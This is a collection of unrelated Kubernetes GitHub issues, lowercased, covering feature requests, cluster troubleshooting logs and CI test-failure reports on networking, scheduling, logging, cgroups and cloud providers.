the pod status currently includes limited status information as far as networking info are concerned - namely hostip and podip.  kubenet, or any other cni plugin, can configure more information  such as gateway, host routes, or dns-nameservers  1  ; another potentially useful piece of information is the mac address assigned to the pod interface - even if not part of the return value in the cni spec.  exposing these information in the pod status might help integration of networking backends with a centralized management plane like ovn  2  and openstack neutron. it will also provide potentially useful information to users; in particular as we move forward toward implementing network policies.  i wonder whether this might be considered a good thing to do, or whether this kind of information will only represent noise in pod status data. as for implementation this can leverage  at least for docker runtime  the current approach based on nsenter, and requires backward compatible changes  attribute additions  to the podstatus api type.   1   https://github.com/containernetworking/cni/blob/master/spec.md result  2  https://github.com/salv-orlando/ovn-kubernetes

i'm trying to get past the issue mentioned here: https://github.com/kubernetes/kubernetes/issues/11543\r \r i have a kubernetes cluster aws running on centos7.the issue is when aws cloud provider tries to lookup the instance, it tries to lookup by matching ec2's private-dns-name property with the hostname. the private-dns-name uses region.compute.internal domain , the lookup always fails. i'm trying to get past this problem by setting my hostname to match the aws private-dns-name. before i start kubelet, i change the hostname to have the correct domain  region.compute.internal . however, kubelet lookup always fails . i check /etc/hostname and /etc/resolv.conf and both places the domain name is region.compute.internal. can someone please help we set the correct nodename so i can get aws cloud provider to work.\r \r      sa@k8s-master-03 $ kubectl version\r \r     client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r      sa@k8s-master-03 ~ $cat /etc/hosts\r \r     10.100.17.103 k8s-master-01\r     10.100.4.89 k8s-master-02\r     10.100.4.154 k8s-master-03\r \r     10.100.17.225 ip-10-100-17-225.cn-north-1.compute.internal\r     10.100.4.49 ip-10-100-4-49.cn-north-1.compute.internal\r     10.100.4.206 ip-10-100-4-206.cn-north-1.compute.internal\r     \r      sa@k8s-master-03 ~ $cat /etc/resolv.conf\r \r     ; generated by /usr/sbin/dhclient-script\r     search cn-north-1.compute.internal\r     nameserver 10.100.0.2\r \r      sa@k8s-master-03 ~ $host ip-10-100-17-225.cn-north-1.compute.internal\r \r     ip-10-100-17-225.cn-north-1.compute.internal has address 10.100.17.225\r      sa@k8s-master-03 ~ $host ip-10-100-4-49.cn-north-1.compute.internal\r \r     ip-10-100-4-49.cn-north-1.compute.internal has address 10.100.4.49\r      sa@k8s-master-03 ~ $host ip-10-100-4-206.cn-north-1.compute.internal\r \r     ip-10-100-4-206.cn-north-1.compute.internal has address 10.100.4.206\r  \r kubelet node log:\r \r     sa@k8s-master-03 ~ $ tail -500f /data/logs/kubernetes/kubelet.error\r \r     log file created at: 2017/03/17 15:36:36\r     running on machine: ip-10-100-4-206\r     binary: built with gc go1.7.4 for linux/amd64\r     log line format:  iwef mmdd hh:mm:ss.uuuuuu threadid file:line  msg\r     e0317 15:36:36.711474   25092 cni.go:163  error updating cni config: no networks found in /etc/cni/net.d\r     e0317 15:36:36.755081   25092 kubelet.go:1145  image garbage collection failed: unable to find data for container /\r     e0317 15:36:36.759574   25092 kubelet.go:1634  failed to check if disk space is available for the runtime: failed to get fs info for \ runtime\ : unable to find data for container /\r     e0317 15:36:36.759602   25092 kubelet.go:1642  failed to check if disk space is available on the root partition: failed to get fs info for \ root\ : unable to find data for container /\r     e0317 15:36:36.855003   25092 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node 'ip-10-100-4-206.cn-north-1.compute.internal' not found\r \r controller-manager.error log:\r \r      sa@k8s-master-03 ~ $tail -500f /data/logs/kubernetes/kube-controller-manager.error\r \r     log file created at: 2017/03/17 15:36:11\r     running on machine: k8s-master-01\r     binary: built with gc go1.7.4 for linux/amd64\r     log line format:  iwef mmdd hh:mm:ss.uuuuuu threadid file:line  msg\r     e0317 15:36:11.163865    8818 util.go:45  metric for replenishment_controller already registered\r     e0317 15:36:11.164081    8818 util.go:45  metric for replenishment_controller already registered\r     e0317 15:36:11.164100    8818 util.go:45  metric for replenishment_controller already registered\r     e0317 15:36:11.164128    8818 util.go:45  metric for replenishment_controller already registered\r     e0317 15:36:11.164143    8818 util.go:45  metric for replenishment_controller already registered\r     e0317 15:36:11.193726    8818 controllermanager.go:558  failed to start certificate controller:open /etc/kubernetes/ca/ca.pem: no such file or directory\r       e0317 15:36:34.511089    8818 actual_state_of_world.go:462  failed to set statusupdateneeded to needed true because nodename=\ ip-10-100-17-225.cn-north-1.compute.internal\   does not exist\r       e0317 15:36:35.473218    8818 actual_state_of_world.go:462  failed to set statusupdateneeded to needed true because nodename=\ ip-10-100-4-49.cn-north-1.compute.internal\   does not exist\r       e0317 15:36:36.312450    8818 actual_state_of_world.go:462  failed to set statusupdateneeded to needed true because nodename=\ ip-10-100-4-206.cn-north-1.compute.internal\   does not exist\r \r      sa@k8s-master-03 ~ $ kubectl describe node\r \r     name:           ip-10-100-17-225.cn-north-1.compute.internal\r     role:\r     labels:         beta.kubernetes.io/arch=amd64\r             beta.kubernetes.io/instance-type=c3.xlarge\r             beta.kubernetes.io/os=linux\r             failure-domain.beta.kubernetes.io/region=cn-north-1\r             failure-domain.beta.kubernetes.io/zone=cn-north-1a\r             kubernetes.io/hostname=ip-10-100-17-225.cn-north-1.compute.internal\r     taints:         <none>\r     creationtimestamp:  fri, 17 mar 2017 15:36:34 +0800\r     phase:\r     conditions:\r       type          status  lastheartbeattime           lasttransitiontime          reason              message\r       ----          ------  -----------------           ------------------          ------              -------\r       outofdisk         false   fri, 17 mar 2017 16:04:29 +0800     fri, 17 mar 2017 15:36:36 +0800     \r       kubelethassufficientdisk    kubelet has sufficient disk space available\r       memorypressure    false   fri, 17 mar 2017 16:04:29 +0800     fri, 17 mar 2017 15:36:36 +0800     \r     kubelethassufficientmemory  kubelet has sufficient memory available\r     diskpressure      false   fri, 17 mar 2017 16:04:29 +0800     fri, 17 mar 2017 15:36:36 +0800     \r     kubelethasnodiskpressure    kubelet has no disk pressure\r       ready         true    fri, 17 mar 2017 16:04:29 +0800     fri, 17 mar 2017 15:36:36 +0800     \r     kubeletready            kubelet is posting ready status\r     addresses:      10.100.17.225,10.100.17.225,ip-10-100-17-225.cn-north-1.compute.internal\r     capacity:\r      alpha.kubernetes.io/nvidia-gpu:    0\r      cpu:                   4\r      memory:                7231180ki\r      pods:                  110\r     allocatable:\r        alpha.kubernetes.io/nvidia-gpu:    0\r        cpu:                   4\r        memory:                7231180ki\r        pods:                  110\r       system info:\r      machine id:            975186e0beb74048bd8a1019aad75bcc\r      system uuid:           ec2c474a-015f-8843-6d1e-375e3d593695\r      boot id:           b33dfbc9-42d1-487f-b953-f59af794a1d2\r      kernel version:        3.10.0-514.2.2.el7.x86_64\r      os image:          centos linux 7  core \r      operating system:      linux\r      architecture:          amd64\r      container runtime version: docker://1.13.1

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.6.0-beta.3\r \r \r   environment  :\r -   cloud provider or hardware configuration  : 3 vms, 4c8g\r -   os    e.g. from /etc/os-release : centos linux release 7.2.1511\r -   kernel    e.g.  uname -a  : 3.10.0-327.22.2.el7.x86_64\r -   install tools  : k8s installed by ansible\r -   others  :\r \r \r   what happened  :\r i am trying to use the feature of forgiveness, which is now called noexecute taint and toleration.\r however, pod with toleration  dedicated=mysql:noexecute  was terminated when host node recovered from node problem. \r \r   what you expected to happen  :\r when a node with taint   pods without the toleration  dedicated=mysql:noexecute  will be evicted and pods with the toleration will tolerate for  tolerationseconds .\r \r   how to reproduce it    as minimally and precisely as possible :\r kube-controller-manager started with --feature-gates=taintbasedevictions=true \r \r   anything else we need to know  :\r is there anything i forget to set ?\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gce-test/1351/ failed:  k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 0 pods per node {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:271 mar 20 13:38:41.800: memory usage exceeding limits:  node bootstrap-e2e-minion-group-xdg7:  container \ kubelet\ : expected rss memory  mb  < 73400320; got 84992000 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:155       previous issues for this test:  26784  28384  31935  33023  39880

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/4298/ multiple broken tests:  failed:  k8s.io  pods should have their auto-restart back-off timer reset on image update  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:608 expected error:     < errors.errorstring | 0xc420412e30>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:83     issues about this test specifically:  27360  28096  29615  31775  35750   failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should update endpoints: http {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:153 expected error:     < errors.errorstring | 0xc42037ae00>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:429     issues about this test specifically:  33887   failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025   failed:  k8s.io  dynamic provisioning  k8s.io  dynamicprovisioner external should let an external dynamic provisioner create and delete persistent volumes  slow   volume  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:327 expected error:     < errors.errorstring | 0xc42045abc0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:643      previous issues for this suite:  37376  37577  38015  38026  42271  43380

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r  \r i want to monitor the resource usage in our cluster, such as cpu usage and memory usage. however, i cannot get the resource usage information of a node using the existing api directly. i have to request all the pods on the node, and calculate the resource usage. i think this is very wasteful. node usage should be provided directly and i think the information is already there because the scheduler needs it, or the api is already provided but i don't know? if then hope you can tell me. thank you! \r \r  \r \r \r

 \r   what happened  :\r  kubectl get nodes  doesn't show role\r    \r kubectl get nodes -o wide\r name                                           status    age       version   external-ip      os-image                      kernel-version\r ip-172-20-101-111.eu-west-1.compute.internal   ready     23h       v1.7.0    x.x.x.x          debian gnu/linux 8  jessie    4.4.65-k8s\r ip-172-20-101-122.eu-west-1.compute.internal   ready     23h       v1.7.0    x.x.x.x          debian gnu/linux 8  jessie    4.4.65-k8s\r ip-172-20-48-148.eu-west-1.compute.internal    ready     23h       v1.7.0    x.x.x.x          debian gnu/linux 8  jessie    4.4.65-k8s\r ip-172-20-63-150.eu-west-1.compute.internal    ready     23h       v1.7.0    x.x.x.x          debian gnu/linux 8  jessie    4.4.65-k8s\r ip-172-20-68-226.eu-west-1.compute.internal    ready     23h       v1.7.0    x.x.x.x          debian gnu/linux 8  jessie    4.4.65-k8s\r ip-172-20-79-207.eu-west-1.compute.internal    ready     23h       v1.7.0    x.x.x.x          debian gnu/linux 8  jessie    4.4.65-k8s\r    \r \r workaround:\r    \r kubectl get nodes --selector=kubernetes.io/role=master\r name                                           status    age       version\r ip-172-20-101-122.eu-west-1.compute.internal   ready     23h       v1.7.0\r ip-172-20-48-148.eu-west-1.compute.internal    ready     23h       v1.7.0\r ip-172-20-79-207.eu-west-1.compute.internal    ready     23h       v1.7.0\r \r kubectl get nodes --selector=kubernetes.io/role=node\r name                                           status    age       version\r ip-172-20-101-111.eu-west-1.compute.internal   ready     23h       v1.7.0\r ip-172-20-63-150.eu-west-1.compute.internal    ready     23h       v1.7.0\r ip-172-20-68-226.eu-west-1.compute.internal    ready     23h       v1.7.0\r    \r   what you expected to happen  :\r according to  35901 and https://github.com/heptio/aws-quickstart/issues/61\r    \r kubectl get nodes\r name                                           status           age       version\r ip-172-20-101-111.eu-west-1.compute.internal   ready,node       23h       v1.7.0\r ip-172-20-101-122.eu-west-1.compute.internal   ready,master     23h       v1.7.0\r ip-172-20-48-148.eu-west-1.compute.internal    ready,master     23h       v1.7.0\r ip-172-20-63-150.eu-west-1.compute.internal    ready,node       23h       v1.7.0\r ip-172-20-68-226.eu-west-1.compute.internal    ready,node       23h       v1.7.0\r ip-172-20-79-207.eu-west-1.compute.internal    ready,master     23h       v1.7.0\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r i just deployed a multi master kubernetes environment with kops:\r    \r kops create cluster --target terraform --name example.com --zones eu-west-1a,eu-west-1b,eu-west-1c --master-zones eu-west-1a,eu-west-1b,eu-west-1c --master-size t2.micro --node-size t2.micro --node-count 3\r cd out/terraform\r terraform apply\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version --short\r client version: v1.7.2\r server version: v1.7.0\r    \r - cloud provider or hardware configuration: aws\r - install tools: kops, terraform\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r 1. statefulset at scale 3 is created with with a label defined in /spec/template/metadata/labels.\r 2. the label is changed to a different value for one of the statefulset pods.\r 3. statefulset is deleted with delete operation default options.\r 4. all pods are deleted save the one whose label was changed.\r 5. the orphan pod stays running forever.\r \r   what you expected to happen  :\r 1. all pods will be deleted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. define statefulset and the associated service in file sset.yaml:\r    \r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     service.alpha.kubernetes.io/tolerate-unready-endpoints: \ false\ \r   name: sset-svc\r   labels:\r     app: sset-svc\r spec:\r   ports:\r   - port: 5000\r     targetport: 5000\r     name: sset\r   clusterip: none\r   selector:\r     app: sset\r ---\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: sset\r spec:\r   servicename: sset-svc\r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: sset\r         typ: a\r     spec:\r       containers:\r       - name: a\r         image: debian:jessie-slim\r         command:  \ /bin/bash\ , \ -c\ , \ sleep infinity\  \r    \r 2. kubectl create -f sset.yaml\r 3. kubectl edit pod sset-2\r 4. change label \ typ=b\ \r 5. kubectl delete -f sset.yaml\r 6. observe that pod sset-2 keeps running.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.4\r - cloud provider or hardware configuration: virtual machines with vagrant 2.0.0 and virtualbox 5.1.28-117968 on intel r  xeon r  cpu e5-2690 v3 24 cores with ubuntu 16.04 lts\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts  vm \r - kernel  e.g.  uname -a  : 4.4.0-96-generic  vm \r - install tools: kubeadm 1.7.4-00\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r under heavy load  ~50 similar request going into api simultaneously  i'm starting to sometimes get:\r \r    \r 1 status.go:64  apiserver received an error that is not an metav1.status: unable to find api field in struct unstructured for the json field \ metadata\ \r 1 wrap.go:42  patch /apis/openstack.org/v1/kuryrports/5a114c6b-0f24-4202-b1ae-3669286416a1:  5.793432ms  500\r    \r \r when trying to do an update on my crd:\r \r    \r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: kuryrports.openstack.org\r spec:\r   group: openstack.org\r   version: v1\r   scope: cluster\r   names:\r     plural: kuryrports\r     singular: kuryrport\r     kind: kuryrport\r     shortnames:\r     - kp\r    \r \r the update is in a form of   application/merge-patch+json   and its content look like this:\r \r    \r {\r   \ metadata\ : {\r     \ annotations\ : {\r       \ podname\ : \ \ \r     },\r     \ resourceversion\ : 123\r   }\r }\r    \r \r on failure the requests are repeated in 1 second intervals, if i wait long enough  few repeats of each  all of them will eventually succeed.\r \r   what you expected to happen  :\r \r i expect request to either succeed or get   409 conflict   if something else updated the resource before me.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i don't have a synthetic example, but i think _what happened_ section describes the situation.\r \r   anything else we need to know?  :\r \r api client is implemented in python using requests library.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r qemu vm on libvirt.\r \r - os  e.g. from /etc/os-release :\r \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r    \r \r - kernel  e.g.  uname -a  :\r \r    \r linux localhost 3.10.0-693.el7.x86_64  1 smp tue aug 22 21:09:27 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r \r kuryr-kubernetes devstack plugin  hyperkube in a container .\r \r - others:\r

both controller manager still share a lot of code. we should follow the apiserver example and introduce a split between modular option structs and config. each options struct holds a number of flags and is able to validate and create a config out of it. this way we can reuse options between different control plane components.\r \r todo:\r -  x  pr for an initial split https://github.com/kubernetes/kubernetes/pull/59582\r -     move kube-controller-manager controller startup file into a startup directory\r -     move more setup code from startcontrollers into the config\r -     split up the huge set of flags into smaller option structs. https://github.com/kubernetes/kubernetes/pull/59582 discussion_r167258028\r -  x  turn  serve  func into a handler chain builder https://github.com/kubernetes/kubernetes/pull/59582 discussion_r167258465\r -     remove system integration flag values  like address, port  from component config https://github.com/kubernetes/kubernetes/pull/59582 discussion_r167324830\r \r features:\r -  x  re-use secureservingoptions from apiserver, part of https://github.com/kubernetes/kubernetes/pull/59408\r -  x  re-use authentication from apiserver\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r azure cloud provider won't able to create lb for multiple subnets. refer https://github.com/azure/acs-engine/issues/2476.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.x\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r i need to know to which pod s  a pvc is being mounted to, without having to go through each pod one by one checking the volume mounts and the persistentvolumeclaim.\r the kubectl describe pvc and get pvc, only tell you to which persistent volume the pvc is bound to, but not if is being used by a pod s \r \r   what you expected to happen  :\r add a new field in the describe or get that lists the pods that are using the pvc as a volume mount\r \r   how to reproduce it  as minimally and precisely as possible   :\r have a  pv/pvc bound and create a pod using a volume mount\r \r   anything else we need to know?  :\r \r not sure if this is only for azure disk, which is the storage class i am using.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.9.7\r \r - cloud provider or hardware configuration:\r azure\r \r - os  e.g. from /etc/os-release :\r ubuntu 16.04\r \r - kernel  e.g.  uname -a  :\r 4.4\r - install tools:\r azure kubernetes services\r - others:\r -n/a

when it does this for controller managed resources, it can hang indefinitely.\r \r /assign

merging https://github.com/kubernetes/kubernetes/pull/64097 has broken e2e tests: https://k8s-testgrid.appspot.com/sig-autoscaling-hpa gci-gce-autoscaling-hpa. based on the logs it seems that hpa can no longer retrieve custom metrics provided by adapter  it still works for external metrics though .\r \r quickly looking through the code it looks like  64097 updated https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/metrics/pkg/client/custom_metrics/client.go l115 to use custom metrics v1beta2 api. since v1beta2 is not backward compatible with v1beta1 and there is no fallback to old api, i suspect hpa will no longer work with any pre-existing adapter implementing v1beta1 api  like the stackdriver adapter we use in tests . \r \r if my suspicion is correct i think this would be a huge regression - all existing adapters will stop working in 1.12. as per https://kubernetes.io/docs/reference/using-api/deprecation-policy/ we can't just drop support for v1beta1 - we need to support it for 9 months / 3 releases after officially deprecating it.\r \r  /  \r cc: @kubernetes/sig-autoscaling-bugs @mwielgus @directxman12 @damemi @kawych @piosz

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r     now pod qos is defined according to 'resources requests  and 'limits'  in container specification. if a pod has more than one container, we must write it many times. like that:\r      \ spec\ : {\r         \ replicas\ : 2,\r         \ selector\ : {\r             \ name\ : \ ubuntu-test-pod\ \r         },\r         \ template\ : {\r             \ metadata\ : {\r                 \ creationtimestamp\ : null,\r                 \ labels\ : {\r                     \ name\ : \ ubuntu-test-pod\ \r                 }\r             },\r             \ spec\ : {\r                 \ containers\ :  \r                     {\r                         \ command\ :  \r                             \ sleep\ ,\r                             \ 86400\ \r                          ,\r                         \ image\ : \ ubuntu:v1\ ,\r                         \ imagepullpolicy\ : \ ifnotpresent\ ,\r                         \ name\ : \ ubuntu-test\ ,\r                           _\ resources\ : {\r                             \ limites\ : {\r                                 \ cpu\ : \ 500m\ \r                             }_  \r                         },\r                         \ terminationmessagepath\ : \ /dev/termination-log\ ,\r                         \ terminationmessagepolicy\ : \ file\ \r                     },\r                     {\r                         \ command\ :  \r                             \ sleep\ ,\r                             \ 7200\ \r                          ,\r                         \ image\ : \ ubuntu:v1\ ,\r                         \ imagepullpolicy\ : \ ifnotpresent\ ,\r                         \ name\ : \ ubuntu-cgroup\ ,\r                           _\ resources\ : {\r                             \ limites\ : {\r                                 \ cpu\ : \ 600m\ \r                             }_  \r                         },\r                         \ terminationmessagepath\ : \ /dev/termination-log\ ,\r                         \ terminationmessagepolicy\ : \ file\ \r                     }\r                  ,\r  \r \r   why is this needed  :\r           can we just specify one time for one pod? and all pids of pod are put in one cgroup?\r <!-- do not edit below this line -->\r 

so i just upgraded to v1.1.0-alpha.1 and one of my pods that's using  newincluster    to get a kubernetes client is suddenly throwing this error.      open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory

add something like  avoidpreviousnode bool  to  api.deleteoptions   semantics is: if the pod is managed by a replication controller, scheduler will try to put the replacement pod on a node different from the one where the pod you are deleting was previously running.  if the pod is not managed by a replication controller, then the option has no effect.   proposed implementation is - add  avoidpreviousnode bool  field to  api.deleteoptions  - before deleting the pod, api server  registry, i think  adds an annotation to the pod  maybe key  scheduler.alpha.kubernetes.io/avoid_previous_node  and no value  - modify the controllers so that when they see this annotation added to a pod, they cache the name of the pod p and the name of the node n it is running on; when they see the deletion and go to create the replacement pod for p, they add a softnodeaffinity for \ node name is not n\   i just realized this feature is dependent on implementation of  18261 since we can't express this today, and also dependent on exposing node name as a node label which is part of  9044   this should work even if the controller fails between the update and the deletion, but not if the controller fails between the deletion and creating the replacement pod. this should be ok as the feature is \ best effort\   we intentionally use softnodeaffinity instead of hardnodeaffinity .  this is a pre-requisite for rescheduler, so it can create a hole for a pending pod to schedule into, without having the pod that was previously in that hole schedule back into the space first.  however there are other uses, for example a human operator might want to move a pod off a node for some reason  maybe it is receiving or producing interference from/to another pod on that node .  this was originally discussed in this comment https://github.com/kubernetes/kubernetes/issues/12140 issuecomment-156282772  cc/ @mikedanese @lavalamp @bgrant0607 @mml   assigned to @haiyangding who said he would implement it  but note that it is dependent on implementation of  18261, as well as exposing node name as a node label .

in the getting-started-guides matches the detection of the docker version not with a version 1.1x.  https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/docker-multinode/master.sh l108  https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/docker-multinode/worker.sh l105

log management on the node has been discussed in  24677. @vishh proposed that containers should log directly to files, and kubelet should access the log files directly without going through the runtime.  more discussion and details in the original issue  24677  a main part of the idea is for kubelet to create a designated log directory  e.g.,  /var/log/pods  , and ask the container runtime to store the stdout/stderr logs in the per-pod subdirectory  e.g.,  /var/log/pods/<pod_uid>   with a given file name. this approach has the following benefits: -  node  this detaches log's lifecycle from container's -- making disk space accounting/management on the node easier.  -  cluster  kubelet can provide any log collector  e.g., fluentd  a log directory  e.g.  /var/log/pods  , where pod/container metadata such as name/namespace/uid can be extracted easily from the file paths. this means that log collector only has to integrate with kubernete once, and it can support all container runtimes  provided that the collector understands the log format used by the container/runtime . this reduces one more integration pain point for new runtimes.  this solution assumes that kubelet treats log files as blobs, i.e., it does not need to know the logging formats  for a good reason . on the other hand, although a good cluster logging setup is essential to production workloads,  kubectl  provides access to container logs for convenience.  kubelet not knowing the log format means that even though it can serve the raw log for  kubectl logs , it will not be able to support flags to filter logs by timestamps.  so, here are the questions: how important is it to support the filtering feature in  kubectl logs ? is it worth imposing a log format for runtimes  imo, no  to support this feature?   p.s., there are other workarounds but none of them look too appealing. e.g., kubelet  or a separate process  can parse the logs based on a few common known formats, etc.  edit:  kubectl logs  does   not   always works. the current implementation relies on  docker logs , which only works with json and journald logging drivers.  /cc @kubernetes/sig-node @vishh @mtaufen   ref: the current  kubectl logs  usage:      flags:   -c, --container=\ \ : print the logs of this container   -f, --follow =false : specify if the logs should be streamed.       --include-extended-apis =true : if true, include definitions of new apis via calls to the api server.  default true        --limit-bytes=0: maximum bytes of logs to return. defaults to no limit.   -p, --previous =false : if true, print the logs for the previous instance of the container in a pod if it exists.       --since=0: only return logs newer than a relative duration like 5s, 2m, or 3h. defaults to all logs. only one of since-time / since may be used.       --since-time=\ \ : only return logs after a specific date  rfc3339 . defaults to all logs. only one of since-time / since may be used.       --tail=-1: lines of recent log file to display. defaults to -1, showing all log lines.       --timestamps =false : include timestamps on each line in the log output

heapster & influxdb & grafana can be a resource monitor well, but the it's a pity that i can not use them as a alarm system directly.   for example, if some nodes were going down, i want the alarm system will send me a warning email immediately.   about alarm system in kubernetes cluster, how do you solve it ? thank you ....

for reference: for work in  27204 which is introducing pod level cgroups into kubernetes. as a part of which we create cgroups for each pod and each of the pod's containers are brought under its pod cgroup.   this issue is to discuss on how we want the user to enable this feature. and should we support rollbacks?  @vishh suggested that we would like the user to just restart the kubelet with the cgroup-per-qos flag enabled to use this feature.  to support it we need to ensure that :  1. when the kubelet is restarted with the cgroup-per-qos flag, all the running containers should be killed intermittently and brought back up under the cgroup qos hierarchy.  note:  we also log the appropriate message reason of killing the pod/containers.  2. but when the pod is brought up for the first time with the flag enabled it should be directly brought up under the cgroup qos hierarchy. 3. pods having restartpolicy: never are not restarted once they have been intermittently killed. this was decided upon discussions with @yujuhong and @vishh.   once we finalize the logic here i would be adding this note to the  proposal  https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/pod-resource-management.md .  @derekwaynecarr @random-liu @vishh ptal.  cc @kubernetes/sig-node

found in openshift, but i'm pretty sure the codepaths are the same.  \r \r    \r sh-4.2$ oc --token=my-users-token get user/~\r name                                  uid       full name   identities\r system:serviceaccount:deads:default \r    \r \r that means the token is getting ignored and in-cluster config is being used in preference to flags.\r \r @kubernetes/sig-cli @smarterclayton

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/5059/ failed: testschedulercreationinlegacymode {scheduler}      scheduler_test.go:463: test 0: pod did not get scheduled on an unschedulable node scheduler_test.go:476: test 0: failed to schedule a pod: timed out waiting for the condition scheduler_test.go:463: test 1: pod did not get scheduled on an unschedulable node scheduler_test.go:476: test 1: failed to schedule a pod: timed out waiting for the condition

